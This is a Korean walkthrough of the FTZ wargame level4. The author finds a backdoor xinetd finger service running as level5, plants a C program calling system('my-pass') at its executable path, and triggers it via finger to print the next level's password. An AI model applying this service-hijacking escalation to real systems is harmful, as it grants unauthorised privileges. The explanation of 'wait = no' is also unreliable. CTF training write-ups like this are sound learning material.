[level4@ftz level4]$ ls
hint public_html tmp
[level4@ftz level4]$ cat hint
누군가 /etc/xinetd.d/에 백도어를 심어놓았다.!
힌트를 보니 누가 /etc/xinetd.d에 백도어를 심어놓았다고 합니다.
[level4@ftz level4]$ cd /etc/xinetd.d
[level4@ftz xinetd.d]$ ls
backdoor chargen-udp daytime-udp echo-udp ntalk rlogin rsync services talk time
chargen daytime echo finger rexec rsh servers sgi_fam telnet time-udp
해당 위치로 이동해서 ls 명령어를 사용해보니 backdoor가 있습니다.
[level4@ftz xinetd.d]$ cat backdoor
service finger
{
disable = no
flags = REUSE
socket_type = stream
wait = no
user = level5
server = /home/level4/tmp/backdoor
log_on_failure += USERID
}
backdoor를 출력해보니 finger라는 서비스의 설정 파일이 들어있습니다.
disable = no // 서비스를 실행하겠다.
flags = REUSE // 포트가 사용중인 경우에서도, 재사용할 수 있도록 한다.
socket_type = stream // tcp의 경우에 사용한다. tcp -> 반드시 목적지로 해당 내용을 전달해서 신뢰성이 높다.
wait = no // 서비스 요청중에 다음 요청이 들어오면 이전 요청이 완료될 때까지 대기한다.
user = level5 // level5 사용자로 서비스를 실행하겠다.
server = /home/level4/tmp/backdoor // 서비스 실행파일 경로
log_on_failure += USERID // 서버 접속에 실패했을 경우 로그파일에 USERID를 기록한다.
[level4@ftz xinetd.d]$ cd ~/tmp
[level4@ftz tmp]$ ls -al
total 8
drwxrwxr-x 2 root level4 4096 Jul 15 07:23 .
drwxr-xr-x 4 root level4 4096 May 7 2002 ..
서비스 실행파일 위치로 가보니 실행 파일이 없습니다.
#include <stdio.h>
#include <stdlib.h>
int main() {
system("my-pass");
return 0;
}
그래서 system 함수를 이용해서 my-pass 명령어를 실행하도록 서비스 실행파일을 만들었습니다.
[level4@ftz tmp]$ gcc -o backdoor backdoor.c
[level4@ftz tmp]$ ls
backdoor backdoor.c
컴파일을 하고 ls 명령어를 사용하니 backdoor라는 실행 파일이 잘 만들어졌습니다.
[level4@ftz tmp]$ finger @localhost
^[[H^[[J
Level5 Password is "what is your name?".
이제 finger 명령어로 서비스를 실행시켜보면 backdoor 파일이 실행되어 패스워드가 출력되었습니다.